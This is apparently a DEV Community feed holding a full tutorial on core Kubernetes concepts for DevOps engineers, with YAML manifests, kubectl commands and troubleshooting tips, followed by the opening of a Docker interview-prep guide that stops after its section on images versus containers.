DEV Community: opscanopy

Kubernetes for DevOps: Pods, Deployments, Services & More

opscanopy — Wed, 19 Aug 2026 15:31:42 +0000

Kubernetes (K8s) has become the standard runtime fabric for containerised workloads. Whether you are deploying a single microservice or coordinating hundreds of them across multiple availability zones, K8s gives you a consistent, declarative API to describe what should run, where it should run, and how it should behave. This guide walks through the core concepts a DevOps engineer needs day-to-day — cluster architecture, workload primitives, networking, configuration, observability, and troubleshooting — with working YAML and kubectl commands throughout. To see where Kubernetes fits in the broader learning journey, check the Kubernetes roadmap.

Why Kubernetes?

Running containers in production with plain Docker quickly exposes a set of operational problems: who restarts a crashed container, how do you roll out a new image version without downtime, how do you balance traffic across multiple replicas, and how do you ensure a container on a node with 64 GB RAM does not starve a neighbouring container of memory?

Kubernetes solves these problems through the desired-state model: you tell the cluster what the end state should look like (a YAML manifest), and controllers continuously reconcile actual state toward that goal. This gives you:

Self-healing — crashed containers are restarted; failed nodes trigger Pod rescheduling.
Horizontal scaling — add replicas with one command or automatically via HPA.
Rolling updates and rollbacks — new versions roll out gradually; one command reverts them.
Service discovery and load balancing — Pods get stable DNS names without static IPs.
Declarative configuration — your entire infrastructure lives in version-controlled YAML.

Note: Kubernetes does not replace a CI/CD pipeline. It is the runtime target; tools like Argo CD, Flux, or Jenkins deploy to it.

Cluster Architecture

Understanding the architecture prevents a lot of confusion when things go wrong.

Control Plane

The control plane is the brain of the cluster. In managed services (EKS, GKE, AKS) it is operated for you; in self-managed setups you are responsible for its reliability.

Component	Role
kube-apiserver	Single entry point for all cluster operations. Validates and persists objects to etcd. Every `kubectl` command talks to this.
etcd	Distributed key-value store. Holds all cluster state. Losing etcd without a backup loses your cluster.
kube-scheduler	Watches for new Pods with no assigned node and picks the best node based on resource requests, taints, affinity rules, and topology spread.
kube-controller-manager	Runs core controllers: ReplicaSet, Deployment, Node, Endpoints, ServiceAccount, and others. Each controller reconciles its resource type.
cloud-controller-manager	(Cloud clusters only) Interfaces with cloud provider APIs — creates load balancers, routes, storage volumes.

Worker Nodes

Every node that runs workloads must have three components:

Component	Role
kubelet	Agent on each node. Receives PodSpec from the API server and instructs the container runtime to start/stop containers. Reports node and Pod status.
kube-proxy	Maintains iptables/ipvs rules that implement Service networking — forwarding traffic to the correct Pod IPs.
Container runtime	Actually runs containers. Kubernetes supports any CRI-compatible runtime: containerd (most common), CRI-O, or Docker (via cri-dockerd shim).

Tip: In production, the control plane nodes are typically tainted so user workloads do not schedule on them. Managed services do this automatically.

How a Pod Gets Scheduled

You run kubectl apply -f pod.yaml.
kube-apiserver validates the manifest and stores it in etcd.
kube-scheduler notices a Pod with no nodeName and selects a node.
kubelet on that node watches the API server, sees the Pod assigned to it, pulls the image, and starts the container.
kube-proxy updates network rules so the Pod is reachable via its Service.

Kubernetes cluster architecture: control plane (API server, etcd, scheduler, controller-manager) communicates with worker nodes (kubelet, kube-proxy, runtime) that host Pods.

Pods

A Pod is the smallest schedulable unit in Kubernetes. It wraps one or more containers (built from Docker for DevOps images) that share:

Network namespace — all containers in a Pod share the same IP address and port space.
Storage — volumes are declared at the Pod level and mounted into individual containers.
Lifecycle — all containers start and stop together with the Pod.

Minimal Pod Manifest

apiVersion: v1
kind: Pod
metadata:
  name: web-pod
  labels:
    app: web
spec:
  containers:
    - name: nginx
      image: nginx:1.27
      ports:
        - containerPort: 80

kubectl apply -f pod.yaml
kubectl get pods
kubectl describe pod web-pod
kubectl delete pod web-pod

Pod Lifecycle

A Pod moves through these phases:

Phase	Meaning
`Pending`	Pod accepted by the cluster; containers not yet started (pulling images, waiting for node).
`Running`	At least one container is running or starting.
`Succeeded`	All containers exited with code 0 (typical for Jobs).
`Failed`	At least one container exited with non-zero code and will not restart.
`Unknown`	Node communication lost; state cannot be determined.

Multi-Container Patterns

Pods can host multiple containers. The three canonical patterns are:

Sidecar — a helper container that augments the main one (e.g., a log-shipper or a service mesh proxy like Envoy/Istio).
Init container — runs to completion before the main containers start (e.g., database migration, config rendering from a vault).
Ambassador — a proxy container that abstracts external services (e.g., a Redis proxy in front of a remote cluster).

apiVersion: v1
kind: Pod
metadata:
  name: app-with-sidecar
spec:
  initContainers:
    - name: init-migrate
      image: migrate-tool:v1
      command: ["./migrate", "--up"]
  containers:
    - name: app
      image: myapp:v2
      ports:
        - containerPort: 8080
    - name: log-shipper
      image: fluent/fluent-bit:3.0
      volumeMounts:
        - name: app-logs
          mountPath: /var/log/app
  volumes:
    - name: app-logs
      emptyDir: {}

Why You Rarely Create Bare Pods

Bare Pods are not rescheduled if the node they are on fails. You should almost always use a higher-level workload controller (Deployment, StatefulSet, DaemonSet) that manages Pods on your behalf.

ReplicaSets and Deployments

ReplicaSet

A ReplicaSet ensures a specified number of identical Pod replicas are running at any time. It uses a label selector to identify the Pods it owns. If a Pod dies, the ReplicaSet creates a replacement.

Note: You almost never create ReplicaSets directly. Deployments create and manage ReplicaSets for you, adding rollout history.

Deployments

A Deployment wraps a ReplicaSet and adds rollout logic: you update the Pod template and the Deployment gradually replaces old Pods with new ones according to the configured strategy.

A Deployment owns a ReplicaSet, which owns and maintains the desired number of identical Pods via a label selector.

apiVersion: apps/v1
kind: Deployment
metadata:
  name: web-deployment
  namespace: production
spec:
  replicas: 3
  selector:
    matchLabels:
      app: web
  strategy:
    type: RollingUpdate
    rollingUpdate:
      maxUnavailable: 1
      maxSurge: 1
  template:
    metadata:
      labels:
        app: web
    spec:
      containers:
        - name: web
          image: myapp:v2
          ports:
            - containerPort: 8080
          resources:
            requests:
              cpu: "250m"
              memory: "256Mi"
            limits:
              cpu: "500m"
              memory: "512Mi"

Key fields:

selector.matchLabels — the Deployment manages any Pod with these labels. Must match template.metadata.labels.
strategy.rollingUpdate.maxUnavailable — how many Pods can be unavailable during a rollout (absolute or percentage).
strategy.rollingUpdate.maxSurge — how many extra Pods can be created above the desired count during a rollout.

# Apply or update
kubectl apply -f deployment.yaml

# Watch rollout progress
kubectl rollout status deployment/web-deployment

# Scale manually
kubectl scale deployment web-deployment --replicas=5

# View rollout history
kubectl rollout history deployment/web-deployment

# Rollback one version
kubectl rollout undo deployment/web-deployment

Tip: Always set resources.requests and resources.limits. Without them, the scheduler cannot make good placement decisions and your Pods get the lowest QoS class.

Services

A Service gives a stable DNS name and IP to a dynamic set of Pods selected by a label selector. Even as Pods are created and destroyed, the Service's IP (ClusterIP) and DNS name stay constant.

Service Types

Type	Accessibility	Typical Use
`ClusterIP` (default)	Inside the cluster only	Internal microservice communication
`NodePort`	Cluster nodes' IPs on a static port (30000–32767)	Dev/test external access without a cloud LB
`LoadBalancer`	External IP via cloud provider's load balancer	Production external traffic
`ExternalName`	DNS alias for an external service	Pointing in-cluster workloads at external endpoints

Service types and Ingress: Ingress routes HTTP traffic by host/path to Services, while LoadBalancer and NodePort expose Services externally; ClusterIP is internal-only.

ClusterIP Example

apiVersion: v1
kind: Service
metadata:
  name: web-service
  namespace: production
spec:
  selector:
    app: web
  ports:
    - protocol: TCP
      port: 80
      targetPort: 8080
  type: ClusterIP

Pods in the same namespace can reach this service at web-service:80; pods in other namespaces use web-service.production.svc.cluster.local:80.

LoadBalancer Example

apiVersion: v1
kind: Service
metadata:
  name: web-lb
  namespace: production
  annotations:
    service.beta.kubernetes.io/aws-load-balancer-type: "nlb"
spec:
  selector:
    app: web
  ports:
    - protocol: TCP
      port: 443
      targetPort: 8080
  type: LoadBalancer

How kube-proxy Implements Services

kube-proxy watches the API server for Service and Endpoints objects. When a Service is created, it programs iptables rules (or IPVS rules in IPVS mode) on every node so that traffic to the ClusterIP is DNAT'd to one of the healthy Pod IPs in the Endpoints list.

kubectl get svc -n production
kubectl describe svc web-service -n production
kubectl get endpoints web-service -n production

Caution: A Service with no matching Pods will have an empty Endpoints list and traffic will be silently dropped. Always check kubectl get endpoints when debugging connectivity.

Ingress

A Service of type LoadBalancer creates a separate cloud load balancer per service — expensive at scale. An Ingress is a cluster-wide HTTP(S) router that multiplexes many Services behind a single load balancer using hostname and path rules.

Ingress Controller

An Ingress object is just a configuration resource. You also need an Ingress controller — a Pod that reads Ingress objects and programs a reverse proxy. Common choices:

NGINX Ingress Controller (most widely deployed)
AWS Load Balancer Controller (for ALB on EKS — see AWS for DevOps Engineers)
Traefik (dynamic config, good for smaller clusters)
Istio Gateway (service mesh, advanced traffic management)

Ingress Manifest with TLS

apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
  name: web-ingress
  namespace: production
  annotations:
    nginx.ingress.kubernetes.io/rewrite-target: /
    nginx.ingress.kubernetes.io/ssl-redirect: "true"
spec:
  ingressClassName: nginx
  tls:
    - hosts:
        - app.example.com
      secretName: tls-app-example-com
  rules:
    - host: app.example.com
      http:
        paths:
          - path: /api
            pathType: Prefix
            backend:
              service:
                name: api-service
                port:
                  number: 80
          - path: /
            pathType: Prefix
            backend:
              service:
                name: web-service
                port:
                  number: 80

The tls.secretName field references a Kubernetes Secret of type kubernetes.io/tls that holds the certificate and key. Tools like cert-manager automate TLS certificate provisioning and renewal via Let's Encrypt.

kubectl get ingress -n production
kubectl describe ingress web-ingress -n production

Tip: Set ingressClassName explicitly. Older clusters used annotations (kubernetes.io/ingress.class), but the ingressClassName field is the current standard.

ConfigMaps

A ConfigMap stores non-sensitive configuration as key-value pairs or files. Pods consume ConfigMaps as environment variables or as mounted files.

Creating a ConfigMap

apiVersion: v1
kind: ConfigMap
metadata:
  name: app-config
  namespace: production
data:
  LOG_LEVEL: "info"
  MAX_CONNECTIONS: "100"
  config.yaml: |
    server:
      host: 0.0.0.0
      port: 8080
    database:
      pool_size: 10

kubectl apply -f configmap.yaml
kubectl get configmap app-config -n production -o yaml

Consuming a ConfigMap as Environment Variables

spec:
  containers:
    - name: app
      image: myapp:v2
      envFrom:
        - configMapRef:
            name: app-config

Or inject individual keys:

      env:
        - name: LOG_LEVEL
          valueFrom:
            configMapKeyRef:
              name: app-config
              key: LOG_LEVEL

Consuming a ConfigMap as a Mounted File

spec:
  containers:
    - name: app
      image: myapp:v2
      volumeMounts:
        - name: config-volume
          mountPath: /etc/app
  volumes:
    - name: config-volume
      configMap:
        name: app-config
        items:
          - key: config.yaml
            path: config.yaml

The file /etc/app/config.yaml inside the container will contain the YAML defined in the ConfigMap.

Note: When you update a ConfigMap that is mounted as a volume, Kubernetes eventually (within ~60 seconds) updates the file in the container. Environment variables injected via envFrom are not updated — the Pod must be restarted.

Secrets

Secrets store sensitive data — passwords, API tokens, TLS certificates, SSH keys. They are similar to ConfigMaps but:

Values are base64-encoded (not encrypted by default, but can be with encryption at rest).
Access is controlled by RBAC — separate from ConfigMap access.
They integrate with external secret stores (HashiCorp Vault, AWS Secrets Manager) via CSI drivers or operators.

Secret Types

Type	Use
`Opaque` (default)	Arbitrary key-value data
`kubernetes.io/tls`	TLS certificate and key
`kubernetes.io/dockerconfigjson`	Docker registry credentials
`kubernetes.io/service-account-token`	SA tokens (auto-managed)
`kubernetes.io/ssh-auth`	SSH private keys
`kubernetes.io/basic-auth`	Username/password pairs

ConfigMaps and Secrets inject configuration into Pods as environment variables (envFrom / secretKeyRef) or as mounted files in volumes.

Creating an Opaque Secret

apiVersion: v1
kind: Secret
metadata:
  name: db-credentials
  namespace: production
type: Opaque
data:
  username: YWRtaW4=        # base64("admin")
  password: c3VwZXJzZWNyZXQ= # base64("supersecret")

# Encode a value
echo -n "supersecret" | base64

# Create from literal (easier)
kubectl create secret generic db-credentials \
  --from-literal=username=admin \
  --from-literal=password=supersecret \
  -n production

# View (values are base64)
kubectl get secret db-credentials -n production -o yaml

# Decode a value
kubectl get secret db-credentials -n production \
  -o jsonpath='{.data.password}' | base64 --decode

Consuming a Secret in a Pod

spec:
  containers:
    - name: app
      image: myapp:v2
      env:
        - name: DB_USERNAME
          valueFrom:
            secretKeyRef:
              name: db-credentials
              key: username
        - name: DB_PASSWORD
          valueFrom:
            secretKeyRef:
              name: db-credentials
              key: password

Encryption at Rest and RBAC

By default, Secrets in etcd are stored base64-encoded but not encrypted. Enable encryption at rest via the API server's --encryption-provider-config flag using an aescbc or kms provider.

Use RBAC to restrict which service accounts can get, list, or watch Secrets:

apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
  name: secret-reader
  namespace: production
rules:
  - apiGroups: [""]
    resources: ["secrets"]
    resourceNames: ["db-credentials"]
    verbs: ["get"]

Caution: Never commit Secret manifests with real values to version control. Use sealed secrets (Bitnami Sealed Secrets), External Secrets Operator, or a Vault CSI driver to inject secrets at runtime.

Namespaces

Namespaces provide a mechanism for isolating groups of resources within a single cluster. They are soft multi-tenancy: they scope names, RBAC, and resource quotas, but do not provide strong network isolation by themselves (for that, use NetworkPolicies).

Built-in Namespaces

Namespace	Purpose
`default`	Default for resources with no namespace specified
`kube-system`	Kubernetes control plane components (CoreDNS, kube-proxy, etc.)
`kube-public`	Publicly readable resources (ConfigMap with cluster info)
`kube-node-lease`	Node heartbeat lease objects

Common Namespace Operations

# List all namespaces
kubectl get namespaces

# Create a namespace
kubectl create namespace staging

# Run commands in a specific namespace
kubectl get pods -n staging

# Set a default namespace for your context
kubectl config set-context --current --namespace=staging

# View resources across all namespaces
kubectl get pods --all-namespaces
# or
kubectl get pods -A

ResourceQuota and LimitRange

Namespaces support ResourceQuota (cap total resource usage per namespace) and LimitRange (set default and max limits per container).

apiVersion: v1
kind: ResourceQuota
metadata:
  name: team-quota
  namespace: staging
spec:
  hard:
    requests.cpu: "4"
    requests.memory: 8Gi
    limits.cpu: "8"
    limits.memory: 16Gi
    count/pods: "20"

Resource Requests and Limits

Getting resource configuration right is one of the highest-leverage tuning tasks in Kubernetes.

The Concepts

Request: the amount of CPU/memory the scheduler reserves on a node for this container. The node must have at least this much available for the Pod to be scheduled there.
Limit: the maximum CPU/memory the container is allowed to use. Exceeding the CPU limit causes throttling; exceeding the memory limit causes the container to be OOM-killed.

resources:
  requests:
    cpu: "250m"      # 250 millicores = 0.25 CPU core
    memory: "256Mi"
  limits:
    cpu: "500m"
    memory: "512Mi"

CPU is expressed in cores (1, 0.5) or millicores (500m). Memory uses binary suffixes (Ki, Mi, Gi).

QoS Classes

Kubernetes assigns one of three Quality of Service classes to every Pod based on its resource configuration:

QoS Class	Condition	Eviction Priority
Guaranteed	Every container has `requests == limits` for both CPU and memory	Last to be evicted
Burstable	At least one container has a request or limit, but not Guaranteed	Middle priority
BestEffort	No container has any request or limit	First to be evicted under pressure

CPU/memory request (scheduler reservation) versus limit (hard ceiling), and the three QoS classes that determine eviction order under node pressure.

Tip: For production workloads, aim for Guaranteed or Burstable QoS. Use kubectl describe pod <name> and look for QoS Class: in the output.

Setting the Right Numbers

Right-sizing requests and limits requires profiling your actual workload under load. Size CPU/memory requests and limits with the Kubernetes Resource Calculator.

Common mistakes:

Setting limits much higher than requests creates "noisy neighbour" risk.
Setting limits equal to very low requests may cause OOMKills under normal spikes.
Not setting requests at all results in BestEffort Pods that are first to go under node pressure.

Vertical Pod Autoscaler (VPA) and Horizontal Pod Autoscaler (HPA)

HPA scales the number of replicas based on CPU utilisation, memory, or custom metrics.
VPA adjusts the requests/limits of existing containers (requires Pod restarts).

apiVersion: autoscaling/v2
kind: HorizontalPodAutoscaler
metadata:
  name: web-hpa
  namespace: production
spec:
  scaleTargetRef:
    apiVersion: apps/v1
    kind: Deployment
    name: web-deployment
  minReplicas: 2
  maxReplicas: 20
  metrics:
    - type: Resource
      resource:
        name: cpu
        target:
          type: Utilization
          averageUtilization: 60

Health Probes

Kubernetes uses three probe types to determine container health. Without probes, a container is considered healthy the moment it starts — even if the application inside is not ready yet.

Probe Types

Probe	Kubernetes Action on Failure
Liveness	Restart the container. Use for detecting deadlocks — processes that are running but stuck.
Readiness	Remove the Pod from Service endpoints. Traffic stops flowing to it, but the container is not restarted.
Startup	Disables liveness and readiness until it succeeds. Use for slow-starting apps to prevent premature liveness restarts.

Probe Mechanisms

Each probe type can use one of three mechanisms:

httpGet — HTTP GET request; success = 2xx/3xx response.
tcpSocket — TCP connection; success = port is open.
exec — run a command inside the container; success = exit code 0.

Full Probe Example

spec:
  containers:
    - name: app
      image: myapp:v2
      ports:
        - containerPort: 8080
      startupProbe:
        httpGet:
          path: /healthz
          port: 8080
        failureThreshold: 30
        periodSeconds: 10
      readinessProbe:
        httpGet:
          path: /ready
          port: 8080
        initialDelaySeconds: 5
        periodSeconds: 10
        failureThreshold: 3
        successThreshold: 1
      livenessProbe:
        httpGet:
          path: /healthz
          port: 8080
        initialDelaySeconds: 30
        periodSeconds: 15
        failureThreshold: 3
        timeoutSeconds: 5

Key parameters:

Parameter	Default	Meaning
`initialDelaySeconds`	0	Seconds after container start before first probe
`periodSeconds`	10	How often to probe
`failureThreshold`	3	Failures before action is taken
`successThreshold`	1	Successes needed to transition back to healthy
`timeoutSeconds`	1	Seconds to wait for probe response

Tip: Always implement separate /healthz (liveness) and /ready (readiness) endpoints in your application. The readiness endpoint should check downstream dependencies (database reachability, cache connection); the liveness endpoint should only check the application itself.

Rollouts and Rollbacks

Rolling Update Strategy

The RollingUpdate strategy (default for Deployments) replaces old Pods with new ones incrementally. The Recreate strategy terminates all old Pods before starting new ones — useful when your app cannot run two versions simultaneously.

# Trigger a rollout by updating the image
kubectl set image deployment/web-deployment \
  web=myapp:v3 -n production

# Or edit the manifest and apply
kubectl apply -f deployment.yaml

# Watch the rollout in real time
kubectl rollout status deployment/web-deployment -n production

# Pause a rollout mid-way (canary-style)
kubectl rollout pause deployment/web-deployment -n production

# Resume
kubectl rollout resume deployment/web-deployment -n production

Rollback

# View rollout history with change-cause annotations
kubectl rollout history deployment/web-deployment -n production

# View a specific revision
kubectl rollout history deployment/web-deployment \
  --revision=2 -n production

# Roll back to previous version
kubectl rollout undo deployment/web-deployment -n production

# Roll back to a specific revision
kubectl rollout undo deployment/web-deployment \
  --to-revision=2 -n production

Tip: Annotate your rollouts with a change-cause so history is readable: add kubernetes.io/change-cause: "bump to v3, adds auth middleware" to the Deployment's metadata.annotations before applying.

Deployment Revision History

By default, Kubernetes retains 10 revisions. Control this with spec.revisionHistoryLimit.

spec:
  revisionHistoryLimit: 5

Observability

A Kubernetes cluster generates a rich stream of metrics, logs, and events. Building good visibility requires three layers:

Logs

kubectl logs reads from the container's stdout/stderr (captured by the container runtime and available via the API server):

# Follow logs from a running Pod
kubectl logs -f deployment/web-deployment -n production

# Show last 100 lines
kubectl logs web-pod --tail=100 -n production

# Logs from a specific container in a multi-container Pod
kubectl logs web-pod -c log-shipper -n production

# Logs from a previous (crashed) container instance
kubectl logs web-pod --previous -n production

For persistent log aggregation, deploy a log collector DaemonSet (Fluent Bit, Fluentd) that ships container logs to a backend (Elasticsearch, Loki, CloudWatch Logs).

Metrics and Prometheus

The Kubernetes ecosystem is deeply integrated with Prometheus. The metrics-server provides basic CPU/memory metrics for HPA and kubectl top. For full observability, deploy the kube-prometheus-stack (Prometheus + Alertmanager + Grafana) or a managed equivalent.

Key scrape targets:

kube-state-metrics — Deployment replicas, Pod status, resource requests/limits, PVC state.
node-exporter — node-level CPU, memory, disk, network.
cadvisor — per-container CPU and memory (built into kubelet).
Your application's /metrics endpoint (expose Prometheus format).

Understanding Prometheus query syntax is essential for writing alerts and dashboards. Use the PromQL Explainer to translate complex queries into plain English. When building scrape configurations and relabelling rules, the Prometheus Relabel Tester lets you test rules against live label sets without touching production.

Events

Kubernetes Events are the first place to look when a Pod is not starting correctly:

kubectl get events -n production --sort-by='.lastTimestamp'
kubectl get events -n production --field-selector reason=OOMKilled

kubectl Essentials

Command	What It Does
`kubectl get pods -n <ns>`	List Pods in a namespace
`kubectl get pods -A`	List Pods in all namespaces
`kubectl describe pod <name> -n <ns>`	Full details, events, conditions
`kubectl logs <pod> -n <ns>`	Stdout/stderr from the main container
`kubectl logs <pod> -c <container>`	Logs from a specific container
`kubectl logs <pod> --previous`	Logs from the last crashed container instance
`kubectl exec -it <pod> -- bash`	Interactive shell in a running container
`kubectl exec <pod> -- <cmd>`	Run a one-off command
`kubectl apply -f <file>`	Declaratively create or update resources
`kubectl delete -f <file>`	Delete resources defined in a manifest
`kubectl delete pod <name>`	Force-delete a single Pod
`kubectl scale deployment <name> --replicas=N`	Scale a Deployment
`kubectl rollout status deployment/<name>`	Watch rollout progress
`kubectl rollout undo deployment/<name>`	Roll back to previous version
`kubectl rollout history deployment/<name>`	View revision history
`kubectl set image deployment/<name> <c>=<img>`	Update a container image
`kubectl port-forward svc/<name> 8080:80`	Forward a local port to a Service
`kubectl port-forward pod/<name> 8080:8080`	Forward a local port to a Pod
`kubectl top pods -n <ns>`	Current CPU/memory usage (requires metrics-server)
`kubectl top nodes`	Node CPU/memory usage
`kubectl get events -n <ns> --sort-by=.lastTimestamp`	Recent cluster events
`kubectl explain deployment.spec.strategy`	Inline API documentation
`kubectl diff -f <file>`	Preview what `apply` would change
`kubectl get all -n <ns>`	All common resources in a namespace
`kubectl label pod <name> key=value`	Add or update a label
`kubectl annotate pod <name> key=value`	Add or update an annotation
`kubectl config get-contexts`	List available kubeconfig contexts
`kubectl config use-context <context>`	Switch cluster context

Tip: Install kubectl plugins via krew (the kubectl plugin manager). Useful plugins include kubectl-neat (clean up get -o yaml output), kubectl-ctx and kubectl-ns (fast context/namespace switching), and kubectl-tree (visualise owner references).

Troubleshooting

CrashLoopBackOff

A container keeps crashing and Kubernetes keeps restarting it with exponential backoff.

Diagnose:

# See the current state and restart count
kubectl get pod <name> -n <ns>

# Check events for the Pod
kubectl describe pod <name> -n <ns>

# Check logs from the current or previous instance
kubectl logs <name> -n <ns>
kubectl logs <name> -n <ns> --previous

Common causes: application throws an unhandled exception at startup; missing environment variable or config file; entrypoint command is wrong; dependency (database, cache) not reachable.

ImagePullBackOff / ErrImagePull

The container image cannot be pulled.

Diagnose:

kubectl describe pod <name> -n <ns>
# Look for events like: Failed to pull image ... unauthorized

Common causes: image name or tag is wrong; registry is private and no imagePullSecret is configured; credentials in the pull secret have expired; rate-limit on Docker Hub.

Fix a missing imagePullSecret:

kubectl create secret docker-registry regcred \
  --docker-server=registry.example.com \
  --docker-username=<user> \
  --docker-password=<token> \
  -n production

Then reference it in the Pod spec:

spec:
  imagePullSecrets:
    - name: regcred

Pending Pods

A Pod stays in Pending and never starts.

Diagnose:

kubectl describe pod <name> -n <ns>
# Look for events under "Events:" — scheduler messages explain why

Common causes:

Insufficient resources — no node has enough CPU or memory to satisfy the requests. Check kubectl top nodes and kubectl describe nodes.
Taint/toleration mismatch — the target nodes are tainted but the Pod has no matching toleration.
NodeSelector or affinity — the Pod requires specific labels on the node that no current node has.
PVC not bound — a PersistentVolumeClaim is still Pending (waiting for a PV).

OOMKilled

A container was killed by the kernel OOM killer because it exceeded its memory limit.

Diagnose:

kubectl get pod <name> -n <ns>
# Look for: OOMKilled in the REASON column

kubectl describe pod <name> -n <ns>
# Look for: Last State: Terminated Reason: OOMKilled

Fix: Increase the memory limit (or request, to get a Guaranteed QoS). Profile the application's actual memory use under load. Use the Kubernetes Resource Calculator to size requests and limits based on observed usage.

Debugging Toolkit

When kubectl logs is not enough:

# Open a shell in the running container
kubectl exec -it <pod> -n <ns> -- sh

# Run a temporary debug Pod on a specific node
kubectl debug node/<node-name> -it --image=ubuntu:22.04

# Attach an ephemeral debug container to a running Pod (K8s 1.23+)
kubectl debug -it <pod> -n <ns> \
  --image=busybox:1.36 \
  --target=<container-name>

# Copy a file from a Pod to local
kubectl cp <ns>/<pod>:/path/to/file ./local-file

Common Kubernetes Interview Questions

Q: What is the role of the etcd in a Kubernetes cluster?
A: etcd is the cluster's source of truth — a distributed, consistent key-value store where all cluster state (objects, configs, secrets) is persisted. If etcd is lost without a backup, the cluster's configuration is lost. The API server is the only component that reads and writes etcd directly.

Q: How does a Kubernetes Service discover which Pods to send traffic to?
A: Services use label selectors to identify target Pods. The Endpoints controller (or EndpointSlice controller in newer clusters) watches for Pods matching the selector and maintains an Endpoints/EndpointSlice object. kube-proxy reads these to program iptables/IPVS forwarding rules.

Q: What is the difference between a StatefulSet and a Deployment?
A: A Deployment is for stateless workloads — Pods are interchangeable. A StatefulSet is for stateful applications (databases, queues): it gives each Pod a stable, ordered hostname (pod-0, pod-1), stable storage via PVCs that survive Pod rescheduling, and ordered, graceful start/stop.

Q: What is a DaemonSet?
A: A DaemonSet ensures that one copy of a Pod runs on every node (or a subset via nodeSelector/tolerations). Common uses: log collectors (Fluent Bit), monitoring agents (node-exporter), CNI plugins, security agents.

Q: How does Kubernetes handle persistent storage?
A: Via the PersistentVolume (PV) / PersistentVolumeClaim (PVC) abstraction. A PVC is a user's request for storage (size, access mode). Kubernetes binds it to a matching PV (a piece of actual storage — EBS volume, NFS share, etc.) either statically or dynamically via a StorageClass and a CSI driver.

Q: What is a Kubernetes Namespace and when should you use multiple namespaces?
A: A Namespace is a virtual cluster within a cluster. Use separate namespaces for teams, environments (dev/staging/production on the same cluster), or application boundaries. Apply ResourceQuotas and RBAC per namespace to enforce isolation.

Q: What is a Taint and Toleration?
A: Taints are set on nodes to repel Pods. kubectl taint nodes node1 key=value:NoSchedule prevents any Pod without a matching Toleration from being scheduled on that node. Used to dedicate nodes for specific workloads (GPU nodes, spot nodes).

Q: What happens when you run kubectl apply -f deployment.yaml?
A: kubectl sends the manifest to the API server, which validates it and merges it with the existing object (three-way merge using the last-applied-configuration annotation). If the Deployment's Pod template changed, the Deployment controller creates a new ReplicaSet and performs a rolling update.

Q: What is the difference between kubectl apply and kubectl create?
A: create is imperative — it fails if the object already exists. apply is declarative — it creates the object if missing or updates it if it exists, using a three-way merge. Prefer apply for GitOps and CI/CD pipelines.

Q: What is a Kubernetes Job vs a CronJob?
A: A Job creates one or more Pods and tracks their completion. It retries failed Pods until the desired completions count is reached, then the Job is marked complete. A CronJob schedules Jobs on a cron expression, creating a new Job object on each trigger.

Note: Prefer a day-by-day path? This is covered in Mission 90 Days 66–74 — a free 90-day guided DevOps program with browser terminal missions.

What's Next

Coming from containers? See Docker for DevOps.

Running on AWS (EKS)? See AWS for DevOps Engineers.

Docker Interview Prep: Scenario-Based Questions & Answers for DevOps

opscanopy — Mon, 17 Aug 2026 15:36:01 +0000

This guide is built for DevOps interview prep. It covers the ten core Docker topics that come up repeatedly — from why containers exist through to a production-grade troubleshooting playbook — using scenario-based questions, clear answers, worked examples, and the gotchas interviewers love to probe. Every command is real and runnable on Ubuntu 24.04 with a current Docker Engine. Before diving in, bookmark the Docker roadmap to see how these topics fit into a full learning path.

Study the concepts first in Docker for DevOps.

Why Containers Exist

Interview scenario: "You shipped a React app and it works on your machine but breaks in production. How do you explain what went wrong, and what's the architectural fix?"

Your laptop has Node 20, a specific OpenSSL version, certain environment variables, and a particular Ubuntu setup. The production server has Node 18, a different libc, and missing env vars. Same code, different behaviour. The bug is not in your code — it is in the environment around your code.

Traditionally, teams fixed this with long setup documents, install scripts, and "please match these exact versions" checklists. It never fully worked because the operating system, system libraries, and dependencies drifted between every developer's machine and every server. Containers solve this by packaging your app together with its entire runtime environment — the right Node version, libraries, files, and config — into one portable unit that runs identically everywhere.

Note: Think of a shipping container. Before standardised containers, dock workers loaded ships piece by piece — barrels, boxes, sacks — and every port handled it differently, slowly, and unreliably. The steel shipping container changed the world: one standard box, the same shape everywhere, that any crane, truck, or ship can handle without caring what's inside. Docker does the same for software.

Virtual Machines vs Containers

Before containers, the common way to isolate apps was the Virtual Machine (VM). A VM emulates an entire computer — including a full guest operating system — on top of a hypervisor. That gives strong isolation, but it is heavy: every VM carries its own multi-gigabyte OS.

Containers take a smarter approach. They share the host's OS kernel and only package the app plus its dependencies, making them tiny and fast.

Architecture comparison: In a VM setup, each application runs inside its own Guest OS on a Hypervisor, all sitting on Host OS + Hardware. Every VM is gigabytes in size. In a container setup, applications each have their own bins/libs but share a single Docker Engine on top of a shared Host OS Kernel. No guest OS means containers are megabytes, not gigabytes.

Aspect	Virtual Machine	Container
Boot time	Minutes (full OS boot)	Seconds or less
Size	Gigabytes (includes guest OS)	Megabytes (app + deps only)
Isolation	Strong — full hardware-level isolation via hypervisor	Process-level isolation via kernel namespaces & cgroups
Resource use	Heavy — each VM runs its own OS	Lightweight — shares host kernel
OS kernel	Each VM has its own kernel	All containers share the host kernel
Portability	Portable but bulky to move	Highly portable — small images, run anywhere Docker runs

Note: A team running 10 microservices as VMs would need 10 guest operating systems eating ~20 GB of RAM with minutes to spin up. As containers on a single host, those same 10 services share one kernel, boot in seconds, and fit comfortably in a fraction of the memory.

What Docker Actually Solves

Docker is not the same thing as "containers" — Linux had the underlying technology (namespaces and cgroups) for years. What Docker did was make containers easy: a simple way to define an environment (the Dockerfile), a standard format to package it (the image), a registry to share it (Docker Hub), and a clean CLI to run it. Consistency from laptop to CI to production, fast startup, and efficient resource use — that is the Docker promise.

Tip: "What's the difference between a VM and a container?" gets asked in almost every DevOps interview. Nail the one-liner: A VM virtualizes hardware and runs a full guest OS on a hypervisor; a container virtualizes the OS and shares the host kernel, packaging only the app and its dependencies. Then add the consequences — containers are smaller, boot faster, and use fewer resources, while VMs give stronger isolation. Bonus points: they are complementary — you often run containers inside VMs in the cloud.

Core Concepts: Images, Containers, Registry, and the Engine

Images vs Containers

This is the single most important distinction in Docker, and it maps perfectly onto something any developer already knows: class vs object. An image is a read-only blueprint — like a class definition. A container is a running instance of that image — like an object created with new. From one image you can spin up many containers, just like one class can produce many objects, each with its own state.

Note: An image is the recipe; a container is the actual dish you cooked from it. One recipe, many plates. The recipe never changes when you cook — and your image stays read-only while each container runs its own live copy.

Aspect	Image	Container
What it is	Read-only template / blueprint	Running instance of an image
State	Immutable, static	Live, has writable layer & runtime state
Analogy	Class / recipe	Object / cooked dish
Lifecycle	Built once, stored, reused	Created, started, stopped, removed
Quantity	One image	Many containers from that one image

